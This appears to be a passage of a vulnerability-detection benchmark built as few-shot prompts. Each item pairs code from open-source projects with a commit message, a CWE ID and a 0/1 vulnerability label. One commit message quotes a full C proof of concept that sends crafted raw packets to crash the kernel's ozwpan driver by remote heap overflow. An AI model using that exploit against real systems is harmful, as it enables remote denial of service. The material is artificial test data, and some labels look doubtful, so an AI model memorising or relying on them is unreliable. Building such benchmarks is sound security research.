[ 43.115214] 010: 70 70 65 31 5f 74 78 5f 70 6b 74 00 6b 6b 6b 6b ppe1_tx_pkt.kkkk
[ 43.115217] 030: 70 70 65 31 5f 74 78 5f 70 6b 74 5f 6f 6b 00 6b ppe1_tx_pkt_ok.k
[ 43.115218] Next obj: start=ffff801fb0b69098, len=80
[ 43.115220] Redzone: 0x706d655f6f666966/0x9f911029d74e35b.
[ 43.115229] Last user: [<ffff0000084b11b0>](acpi_os_release_object+0x28/0x38)
[ 43.115231] 000: 74 79 00 6b 6b 6b 6b 6b 70 70 65 31 5f 74 78 5f ty.kkkkkppe1_tx_
[ 43.115232] 010: 70 6b 74 5f 65 72 72 5f 63 73 75 6d 5f 66 61 69 pkt_err_csum_fai
Signed-off-by: Timmy Li <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-119
Target: 1
Example 2:
Code: tBTM_STATUS BTM_SecBondByTransport (BD_ADDR bd_addr, tBT_TRANSPORT transport,
UINT8 pin_len, UINT8 *p_pin, UINT32 trusted_mask[])
{
#if SMP_INCLUDED == TRUE
tBT_DEVICE_TYPE dev_type;
tBLE_ADDR_TYPE addr_type;
BTM_ReadDevInfo(bd_addr, &dev_type, &addr_type);
/* LE device, do SMP pairing */
if ((transport == BT_TRANSPORT_LE && (dev_type & BT_DEVICE_TYPE_BLE) == 0) ||
(transport == BT_TRANSPORT_BR_EDR && (dev_type & BT_DEVICE_TYPE_BREDR) == 0))
{
return BTM_ILLEGAL_ACTION;
}
#endif
return btm_sec_bond_by_transport(bd_addr, transport, pin_len, p_pin, trusted_mask);
}
Commit Message: DO NOT MERGE Remove Porsche car-kit pairing workaround
Bug: 26551752
Change-Id: I14c5e3fcda0849874c8a94e48aeb7d09585617e1
CWE ID: CWE-264
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: const std::string* TypedUrlModelAssociator::GetChromeNodeFromSyncId(
int64 sync_id) {
return NULL;
}
Commit Message: Now ignores obsolete sync nodes without visit transitions.
Also removed assertion that was erroneously triggered by obsolete sync nodes.
BUG=none
TEST=run chrome against a database that contains obsolete typed url sync nodes.
Review URL: http://codereview.chromium.org/7129069
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@88846 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
int length, int offset, int total_size)
{
struct oz_port *port = hport;
struct urb *urb;
int err = 0;
oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n",
length, offset, total_size);
urb = oz_find_urb_by_id(port, 0, req_id);
if (!urb)
return;
if (status == 0) {
int copy_len;
int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
copy_len = required_size-offset;
if (length <= copy_len)
copy_len = length;
memcpy(urb->transfer_buffer+offset, desc, copy_len);
offset += copy_len;
if (offset < required_size) {
struct usb_ctrlrequest *setup =
(struct usb_ctrlrequest *)urb->setup_packet;
unsigned wvalue = le16_to_cpu(setup->wValue);
if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id))
err = -ENOMEM;
else if (oz_usb_get_desc_req(port->hpd, req_id,
setup->bRequestType, (u8)(wvalue>>8),
(u8)wvalue, setup->wIndex, offset,
required_size-offset)) {
oz_dequeue_ep_urb(port, 0, 0, urb);
err = -ENOMEM;
}
if (err == 0)
return;
}
}
urb->actual_length = total_size;
oz_complete_urb(port->ozhcd->hcd, urb, 0);
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-189
Target: 1
Example 2:
Code: bool ChromeNetworkDelegate::OnCanThrottleRequest(
const net::URLRequest& request) const {
if (g_never_throttle_requests_) {
return false;
}
return request.first_party_for_cookies().scheme() ==
extensions::kExtensionScheme;
}
Commit Message: Added daily UMA for non-data-reduction-proxy data usage when the proxy is enabled.
BUG=325325
Review URL: https://codereview.chromium.org/106113002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@239897 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int try_read_command(conn *c) {
assert(c != NULL);
assert(c->rcurr <= (c->rbuf + c->rsize));
assert(c->rbytes > 0);
if (c->protocol == negotiating_prot || c->transport == udp_transport) {
if ((unsigned char)c->rbuf[0] == (unsigned char)PROTOCOL_BINARY_REQ) {
c->protocol = binary_prot;
} else {
c->protocol = ascii_prot;
}
if (settings.verbose > 1) {
fprintf(stderr, "%d: Client using the %s protocol\n", c->sfd,
prot_text(c->protocol));
}
}
if (c->protocol == binary_prot) {
/* Do we have the complete packet header? */
if (c->rbytes < sizeof(c->binary_header)) {
/* need more data! */
return 0;
} else {
#ifdef NEED_ALIGN
if (((long)(c->rcurr)) % 8 != 0) {
/* must realign input buffer */
memmove(c->rbuf, c->rcurr, c->rbytes);
c->rcurr = c->rbuf;
if (settings.verbose > 1) {
fprintf(stderr, "%d: Realign input buffer\n", c->sfd);
}
}
#endif
protocol_binary_request_header* req;
req = (protocol_binary_request_header*)c->rcurr;
if (settings.verbose > 1) {
/* Dump the packet before we convert it to host order */
int ii;
fprintf(stderr, "<%d Read binary protocol data:", c->sfd);
for (ii = 0; ii < sizeof(req->bytes); ++ii) {
if (ii % 4 == 0) {
fprintf(stderr, "\n<%d ", c->sfd);
}
fprintf(stderr, " 0x%02x", req->bytes[ii]);
}
fprintf(stderr, "\n");
}
c->binary_header = *req;
c->binary_header.request.keylen = ntohs(req->request.keylen);
c->binary_header.request.bodylen = ntohl(req->request.bodylen);
c->binary_header.request.cas = ntohll(req->request.cas);
if (c->binary_header.request.magic != PROTOCOL_BINARY_REQ) {
if (settings.verbose) {
fprintf(stderr, "Invalid magic: %x\n",
c->binary_header.request.magic);
}
conn_set_state(c, conn_closing);
return -1;
}
c->msgcurr = 0;
c->msgused = 0;
c->iovused = 0;
if (add_msghdr(c) != 0) {
out_string(c, "SERVER_ERROR out of memory");
return 0;
}
c->cmd = c->binary_header.request.opcode;
c->keylen = c->binary_header.request.keylen;
c->opaque = c->binary_header.request.opaque;
/* clear the returned cas value */
c->cas = 0;
dispatch_bin_command(c);
c->rbytes -= sizeof(c->binary_header);
c->rcurr += sizeof(c->binary_header);
}
} else {
char *el, *cont;
if (c->rbytes == 0)
return 0;
el = memchr(c->rcurr, '\n', c->rbytes);
if (!el)
return 0;
cont = el + 1;
if ((el - c->rcurr) > 1 && *(el - 1) == '\r') {
el--;
}
*el = '\0';
assert(cont <= (c->rcurr + c->rbytes));
process_command(c, c->rcurr);
c->rbytes -= (cont - c->rcurr);
c->rcurr = cont;
assert(c->rcurr <= (c->rbuf + c->rsize));
}
return 1;
}
Commit Message: Issue 102: Piping null to the server will crash it
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: DictionaryValue* ExtensionTabUtil::CreateTabValue(
const WebContents* contents,
TabStripModel* tab_strip,
int tab_index,
IncludePrivacySensitiveFields include_privacy_sensitive_fields) {
if (!tab_strip)
ExtensionTabUtil::GetTabStripModel(contents, &tab_strip, &tab_index);
DictionaryValue* result = new DictionaryValue();
bool is_loading = contents->IsLoading();
result->SetInteger(keys::kIdKey, GetTabId(contents));
result->SetInteger(keys::kIndexKey, tab_index);
result->SetInteger(keys::kWindowIdKey, GetWindowIdOfTab(contents));
result->SetString(keys::kStatusKey, GetTabStatusText(is_loading));
result->SetBoolean(keys::kActiveKey,
tab_strip && tab_index == tab_strip->active_index());
result->SetBoolean(keys::kSelectedKey,
tab_strip && tab_index == tab_strip->active_index());
result->SetBoolean(keys::kHighlightedKey,
tab_strip && tab_strip->IsTabSelected(tab_index));
result->SetBoolean(keys::kPinnedKey,
tab_strip && tab_strip->IsTabPinned(tab_index));
result->SetBoolean(keys::kIncognitoKey,
contents->GetBrowserContext()->IsOffTheRecord());
if (include_privacy_sensitive_fields == INCLUDE_PRIVACY_SENSITIVE_FIELDS) {
result->SetString(keys::kUrlKey, contents->GetURL().spec());
result->SetString(keys::kTitleKey, contents->GetTitle());
if (!is_loading) {
NavigationEntry* entry = contents->GetController().GetActiveEntry();
if (entry && entry->GetFavicon().valid)
result->SetString(keys::kFaviconUrlKey, entry->GetFavicon().url.spec());
}
}
if (tab_strip) {
WebContents* opener = tab_strip->GetOpenerOfWebContentsAt(tab_index);
if (opener)
result->SetInteger(keys::kOpenerTabIdKey, GetTabId(opener));
}
return result;
}
Commit Message: Do not pass URLs in onUpdated events to extensions unless they have the
"tabs" permission.
BUG=168442
Review URL: https://chromiumcodereview.appspot.com/11824004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176406 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
Target: 1
Example 2:
Code: int netif_rx(struct sk_buff *skb)
{
struct softnet_data *queue;
unsigned long flags;
/* if netpoll wants it, pretend we never saw it */
if (netpoll_rx(skb))
return NET_RX_DROP;
if (!skb->tstamp.tv64)
net_timestamp(skb);
/*
* The code is rearranged so that the path is the most
* short when CPU is congested, but is still operating.
*/
local_irq_save(flags);
queue = &__get_cpu_var(softnet_data);
__get_cpu_var(netdev_rx_stat).total++;
if (queue->input_pkt_queue.qlen <= netdev_max_backlog) {
if (queue->input_pkt_queue.qlen) {
enqueue:
__skb_queue_tail(&queue->input_pkt_queue, skb);
local_irq_restore(flags);
return NET_RX_SUCCESS;
}
napi_schedule(&queue->backlog);
goto enqueue;
}
__get_cpu_var(netdev_rx_stat).dropped++;
local_irq_restore(flags);
kfree_skb(skb);
return NET_RX_DROP;
}
Commit Message: veth: Dont kfree_skb() after dev_forward_skb()
In case of congestion, netif_rx() frees the skb, so we must assume
dev_forward_skb() also consume skb.
Bug introduced by commit 445409602c092
(veth: move loopback logic to common location)
We must change dev_forward_skb() to always consume skb, and veth to not
double free it.
Bug report : http://marc.info/?l=linux-netdev&m=127310770900442&w=3
Reported-by: Martín Ferrari <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-399
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void PrintWebViewHelper::PrintNode(const WebKit::WebNode& node) {
if (node.isNull() || !node.document().frame()) {
return;
}
if (is_preview_enabled_) {
print_preview_context_.InitWithNode(node);
RequestPrintPreview(PRINT_PREVIEW_USER_INITIATED_CONTEXT_NODE);
} else {
WebKit::WebNode duplicate_node(node);
Print(duplicate_node.document().frame(), duplicate_node);
}
}
Commit Message: Guard against the same PrintWebViewHelper being re-entered.
BUG=159165
Review URL: https://chromiumcodereview.appspot.com/11367076
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@165821 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: bool GLSurfaceEGLSurfaceControl::Resize(const gfx::Size& size,
float scale_factor,
ColorSpace color_space,
bool has_alpha) {
return true;
}
Commit Message: gpu/android : Add support for partial swap with surface control.
Add support for PostSubBuffer to GLSurfaceEGLSurfaceControl. This should
allow the display compositor to draw the minimum sub-rect necessary from
the damage tracking in BufferQueue on the client-side, and also to pass
this damage rect to the framework.
[email protected]
Bug: 926020
Change-Id: I73d3320cab68250d4c6865bf21c5531682d8bf61
Reviewed-on: https://chromium-review.googlesource.com/c/1457467
Commit-Queue: Khushal <[email protected]>
Commit-Queue: Antoine Labour <[email protected]>
Reviewed-by: Antoine Labour <[email protected]>
Auto-Submit: Khushal <[email protected]>
Cr-Commit-Position: refs/heads/master@{#629852}
CWE ID:
Target: 1
Example 2:
Code: void CommandBufferProxyImpl::OnGpuSyncReplyError() {
CheckLock();
last_state_lock_.AssertAcquired();
last_state_.error = gpu::error::kLostContext;
last_state_.context_lost_reason = gpu::error::kInvalidGpuMessage;
DisconnectChannelInFreshCallStack();
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Reviewed-by: John Abd-El-Malek <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Sadrul Chowdhury <[email protected]>
Reviewed-by: Yuzhu Shen <[email protected]>
Reviewed-by: Robert Sesek <[email protected]>
Commit-Queue: Ken Rockot <[email protected]>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: OMX_ERRORTYPE SoftMPEG4Encoder::internalSetParameter(
OMX_INDEXTYPE index, const OMX_PTR params) {
int32_t indexFull = index;
switch (indexFull) {
case OMX_IndexParamVideoBitrate:
{
OMX_VIDEO_PARAM_BITRATETYPE *bitRate =
(OMX_VIDEO_PARAM_BITRATETYPE *) params;
if (bitRate->nPortIndex != 1 ||
bitRate->eControlRate != OMX_Video_ControlRateVariable) {
return OMX_ErrorUndefined;
}
mBitrate = bitRate->nTargetBitrate;
return OMX_ErrorNone;
}
case OMX_IndexParamVideoH263:
{
OMX_VIDEO_PARAM_H263TYPE *h263type =
(OMX_VIDEO_PARAM_H263TYPE *)params;
if (h263type->nPortIndex != 1) {
return OMX_ErrorUndefined;
}
if (h263type->eProfile != OMX_VIDEO_H263ProfileBaseline ||
h263type->eLevel != OMX_VIDEO_H263Level45 ||
(h263type->nAllowedPictureTypes & OMX_VIDEO_PictureTypeB) ||
h263type->bPLUSPTYPEAllowed != OMX_FALSE ||
h263type->bForceRoundingTypeToZero != OMX_FALSE ||
h263type->nPictureHeaderRepetition != 0 ||
h263type->nGOBHeaderInterval != 0) {
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
case OMX_IndexParamVideoMpeg4:
{
OMX_VIDEO_PARAM_MPEG4TYPE *mpeg4type =
(OMX_VIDEO_PARAM_MPEG4TYPE *)params;
if (mpeg4type->nPortIndex != 1) {
return OMX_ErrorUndefined;
}
if (mpeg4type->eProfile != OMX_VIDEO_MPEG4ProfileCore ||
mpeg4type->eLevel != OMX_VIDEO_MPEG4Level2 ||
(mpeg4type->nAllowedPictureTypes & OMX_VIDEO_PictureTypeB) ||
mpeg4type->nBFrames != 0 ||
mpeg4type->nIDCVLCThreshold != 0 ||
mpeg4type->bACPred != OMX_TRUE ||
mpeg4type->nMaxPacketSize != 256 ||
mpeg4type->nTimeIncRes != 1000 ||
mpeg4type->nHeaderExtension != 0 ||
mpeg4type->bReversibleVLC != OMX_FALSE) {
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
default:
return SoftVideoEncoderOMXComponent::internalSetParameter(index, params);
}
}
Commit Message: DO NOT MERGE Verify OMX buffer sizes prior to access
Bug: 27207275
Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PHP_FUNCTION(locale_get_primary_language )
{
get_icu_value_src_php( LOC_LANG_TAG , INTERNAL_FUNCTION_PARAM_PASSTHRU );
}
Commit Message: Fix bug #72241: get_icu_value_internal out-of-bounds read
CWE ID: CWE-125
Target: 1
Example 2:
Code: WebContents* WebContentsImpl::GetAsWebContents() {
return this;
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: PHP_FUNCTION(ini_get)
{
char *varname, *str;
int varname_len;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &varname, &varname_len) == FAILURE) {
return;
}
str = zend_ini_string(varname, varname_len + 1, 0);
if (!str) {
RETURN_FALSE;
}
RETURN_STRING(str, 1);
}
Commit Message:
CWE ID: CWE-264
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int spl_load_fit_image(struct spl_load_info *info, ulong sector,
void *fit, ulong base_offset, int node,
struct spl_image_info *image_info)
{
int offset;
size_t length;
int len;
ulong size;
ulong load_addr, load_ptr;
void *src;
ulong overhead;
int nr_sectors;
int align_len = ARCH_DMA_MINALIGN - 1;
uint8_t image_comp = -1, type = -1;
const void *data;
bool external_data = false;
if (IS_ENABLED(CONFIG_SPL_FPGA_SUPPORT) ||
(IS_ENABLED(CONFIG_SPL_OS_BOOT) && IS_ENABLED(CONFIG_SPL_GZIP))) {
if (fit_image_get_type(fit, node, &type))
puts("Cannot get image type.\n");
else
debug("%s ", genimg_get_type_name(type));
}
if (IS_ENABLED(CONFIG_SPL_OS_BOOT) && IS_ENABLED(CONFIG_SPL_GZIP)) {
if (fit_image_get_comp(fit, node, &image_comp))
puts("Cannot get image compression format.\n");
else
debug("%s ", genimg_get_comp_name(image_comp));
}
if (fit_image_get_load(fit, node, &load_addr))
load_addr = image_info->load_addr;
if (!fit_image_get_data_position(fit, node, &offset)) {
external_data = true;
} else if (!fit_image_get_data_offset(fit, node, &offset)) {
offset += base_offset;
external_data = true;
}
if (external_data) {
/* External data */
if (fit_image_get_data_size(fit, node, &len))
return -ENOENT;
load_ptr = (load_addr + align_len) & ~align_len;
length = len;
overhead = get_aligned_image_overhead(info, offset);
nr_sectors = get_aligned_image_size(info, length, offset);
if (info->read(info,
sector + get_aligned_image_offset(info, offset),
nr_sectors, (void *)load_ptr) != nr_sectors)
return -EIO;
debug("External data: dst=%lx, offset=%x, size=%lx\n",
load_ptr, offset, (unsigned long)length);
src = (void *)load_ptr + overhead;
} else {
/* Embedded data */
if (fit_image_get_data(fit, node, &data, &length)) {
puts("Cannot get image data/size\n");
return -ENOENT;
}
debug("Embedded data: dst=%lx, size=%lx\n", load_addr,
(unsigned long)length);
src = (void *)data;
}
#ifdef CONFIG_SPL_FIT_SIGNATURE
printf("## Checking hash(es) for Image %s ... ",
fit_get_name(fit, node, NULL));
if (!fit_image_verify_with_data(fit, node,
src, length))
return -EPERM;
puts("OK\n");
#endif
#ifdef CONFIG_SPL_FIT_IMAGE_POST_PROCESS
board_fit_image_post_process(&src, &length);
#endif
if (IS_ENABLED(CONFIG_SPL_GZIP) && image_comp == IH_COMP_GZIP) {
size = length;
if (gunzip((void *)load_addr, CONFIG_SYS_BOOTM_LEN,
src, &size)) {
puts("Uncompressing error\n");
return -EIO;
}
length = size;
} else {
memcpy((void *)load_addr, src, length);
}
if (image_info) {
image_info->load_addr = load_addr;
image_info->size = length;
image_info->entry_point = fdt_getprop_u32(fit, node, "entry");
}
return 0;
}
Commit Message: Merge branch '2020-01-22-master-imports'
- Re-add U8500 platform support
- Add bcm968360bg support
- Assorted Keymile fixes
- Other assorted bugfixes
CWE ID: CWE-787
Target: 1
Example 2:
Code: static void *mcryptd_alloc_instance(struct crypto_alg *alg, unsigned int head,
unsigned int tail)
{
char *p;
struct crypto_instance *inst;
int err;
p = kzalloc(head + sizeof(*inst) + tail, GFP_KERNEL);
if (!p)
return ERR_PTR(-ENOMEM);
inst = (void *)(p + head);
err = -ENAMETOOLONG;
if (snprintf(inst->alg.cra_driver_name, CRYPTO_MAX_ALG_NAME,
"mcryptd(%s)", alg->cra_driver_name) >= CRYPTO_MAX_ALG_NAME)
goto out_free_inst;
memcpy(inst->alg.cra_name, alg->cra_name, CRYPTO_MAX_ALG_NAME);
inst->alg.cra_priority = alg->cra_priority + 50;
inst->alg.cra_blocksize = alg->cra_blocksize;
inst->alg.cra_alignmask = alg->cra_alignmask;
out:
return p;
out_free_inst:
kfree(p);
p = ERR_PTR(err);
goto out;
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <[email protected]>
Signed-off-by: Kees Cook <[email protected]>
Acked-by: Mathias Krause <[email protected]>
Signed-off-by: Herbert Xu <[email protected]>
CWE ID: CWE-264
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void icmp6_send(struct sk_buff *skb, u8 type, u8 code, __u32 info,
const struct in6_addr *force_saddr)
{
struct net *net = dev_net(skb->dev);
struct inet6_dev *idev = NULL;
struct ipv6hdr *hdr = ipv6_hdr(skb);
struct sock *sk;
struct ipv6_pinfo *np;
const struct in6_addr *saddr = NULL;
struct dst_entry *dst;
struct icmp6hdr tmp_hdr;
struct flowi6 fl6;
struct icmpv6_msg msg;
struct sockcm_cookie sockc_unused = {0};
struct ipcm6_cookie ipc6;
int iif = 0;
int addr_type = 0;
int len;
int err = 0;
u32 mark = IP6_REPLY_MARK(net, skb->mark);
if ((u8 *)hdr < skb->head ||
(skb_network_header(skb) + sizeof(*hdr)) > skb_tail_pointer(skb))
return;
/*
* Make sure we respect the rules
* i.e. RFC 1885 2.4(e)
* Rule (e.1) is enforced by not using icmp6_send
* in any code that processes icmp errors.
*/
addr_type = ipv6_addr_type(&hdr->daddr);
if (ipv6_chk_addr(net, &hdr->daddr, skb->dev, 0) ||
ipv6_chk_acast_addr_src(net, skb->dev, &hdr->daddr))
saddr = &hdr->daddr;
/*
* Dest addr check
*/
if (addr_type & IPV6_ADDR_MULTICAST || skb->pkt_type != PACKET_HOST) {
if (type != ICMPV6_PKT_TOOBIG &&
!(type == ICMPV6_PARAMPROB &&
code == ICMPV6_UNK_OPTION &&
(opt_unrec(skb, info))))
return;
saddr = NULL;
}
addr_type = ipv6_addr_type(&hdr->saddr);
/*
* Source addr check
*/
if (__ipv6_addr_needs_scope_id(addr_type))
iif = skb->dev->ifindex;
else
iif = l3mdev_master_ifindex(skb_dst(skb)->dev);
/*
* Must not send error if the source does not uniquely
* identify a single node (RFC2463 Section 2.4).
* We check unspecified / multicast addresses here,
* and anycast addresses will be checked later.
*/
if ((addr_type == IPV6_ADDR_ANY) || (addr_type & IPV6_ADDR_MULTICAST)) {
net_dbg_ratelimited("icmp6_send: addr_any/mcast source [%pI6c > %pI6c]\n",
&hdr->saddr, &hdr->daddr);
return;
}
/*
* Never answer to a ICMP packet.
*/
if (is_ineligible(skb)) {
net_dbg_ratelimited("icmp6_send: no reply to icmp error [%pI6c > %pI6c]\n",
&hdr->saddr, &hdr->daddr);
return;
}
mip6_addr_swap(skb);
memset(&fl6, 0, sizeof(fl6));
fl6.flowi6_proto = IPPROTO_ICMPV6;
fl6.daddr = hdr->saddr;
if (force_saddr)
saddr = force_saddr;
if (saddr)
fl6.saddr = *saddr;
fl6.flowi6_mark = mark;
fl6.flowi6_oif = iif;
fl6.fl6_icmp_type = type;
fl6.fl6_icmp_code = code;
security_skb_classify_flow(skb, flowi6_to_flowi(&fl6));
sk = icmpv6_xmit_lock(net);
if (!sk)
return;
sk->sk_mark = mark;
np = inet6_sk(sk);
if (!icmpv6_xrlim_allow(sk, type, &fl6))
goto out;
